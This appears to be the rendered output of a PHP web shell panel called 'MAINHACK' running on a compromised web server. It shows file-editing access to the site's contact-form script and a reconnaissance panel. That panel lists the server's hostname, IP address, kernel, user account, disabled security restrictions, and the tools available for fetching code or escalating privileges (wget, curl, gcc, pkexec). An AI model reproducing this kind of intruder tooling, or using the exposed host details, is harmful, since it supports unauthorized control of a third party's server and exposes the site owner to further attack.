[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: process_contact.php
<?php // Set headers to prevent caching header('Cache-Control: no-cache, must-revalidate'); header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); header('Content-Type: application/json'); // Initialize response array $response = array( 'status' => 'error', 'message' => 'An unknown error occurred' ); // Check if the request is a POST request if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Get form data $name = isset($_POST['name']) ? trim($_POST['name']) : ''; $email = isset($_POST['email']) ? trim($_POST['email']) : ''; $subject = isset($_POST['subject']) ? trim($_POST['subject']) : ''; $message = isset($_POST['message']) ? trim($_POST['message']) : ''; // Validate form data if (empty($name) || empty($email) || empty($subject) || empty($message)) { $response['message'] = 'Please fill in all required fields'; } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $response['message'] = 'Please enter a valid email address'; } else { // Set email recipient $to = 'info@eliosof.com'; // Replace with your email address // Set email headers $headers = "From: $name <$email>\r\n"; $headers .= "Reply-To: $email\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; // Build email content $email_content = "<html><body>"; $email_content .= "<h2>Contact Form Submission</h2>"; $email_content .= "<p><strong>Name:</strong> $name</p>"; $email_content .= "<p><strong>Email:</strong> $email</p>"; $email_content .= "<p><strong>Subject:</strong> $subject</p>"; $email_content .= "<p><strong>Message:</strong></p>"; $email_content .= "<p>" . nl2br($message) . "</p>"; $email_content .= "</body></html>"; // For demonstration purposes, we'll simulate a successful email sending // In a production environment, you would use mail() or a library like PHPMailer // if (mail($to, "Contact Form: $subject", $email_content, $headers)) { // Simulate successful submission $success = true; if ($success) { $response['status'] = 'success'; $response['message'] = 'Your message has been sent successfully!'; // Log the submission (optional) $log_file = 'contact_submissions.log'; $log_message = date('[Y-m-d H:i:s]') . " - New contact from: $name ($email)\n"; // file_put_contents($log_file, $log_message, FILE_APPEND); } else { $response['message'] = 'Failed to send your message. Please try again later.'; } } } else { $response['message'] = 'Invalid request method'; } // Return JSON response echo json_encode($response); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002